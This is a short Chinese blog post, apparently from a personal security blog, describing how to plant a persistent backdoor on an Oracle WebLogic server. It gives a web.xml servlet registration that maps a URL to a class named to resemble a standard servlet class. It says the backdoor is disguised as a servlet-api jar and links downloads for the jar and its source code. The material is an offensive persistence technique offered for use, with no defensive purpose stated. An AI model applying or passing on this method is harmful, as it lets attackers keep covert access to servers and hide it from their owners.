Sh4dow's Blog

活了二十几年,从来没有人给过我一次意外感动或惊喜,也没有人在我生日的时候给过我特别的礼物,生病的时候得到的只是一些不在身边的语言安慰,也不见谁真正的照顾过自己,甚至有的时候自己蒙头睡一觉就好了,也有人喜欢过我,但是从没见谁坚持过。

weblogic server性后门

园长提过了方法。http://drops.wooyun.org/tips/662

weblogic的方法也一样

目录:web-inf/web.xml里面放入

    <servlet>

        <servlet-name>HttpServletWrapper</servlet-name>

        <servlet-class>javax.servlet.web.http.HttpServletWrapper</servlet-class>

    </servlet>


    <servlet-mapping>

        <servlet-name>HttpServletWrapper</servlet-name>

        <url-pattern>/servlet/HttpServletWrapper</url-pattern>

    </servlet-mapping>


servlet-api-3.04.jar是我伪装的一个后门, jar下载地址:http://pan.baidu.com/s/17mKbH

对应的后门HttpServletWrapper.java下载地址:http://pan.baidu.com/s/1l8eiM


评论

© Sh4dow's Blog | Powered by LOFTER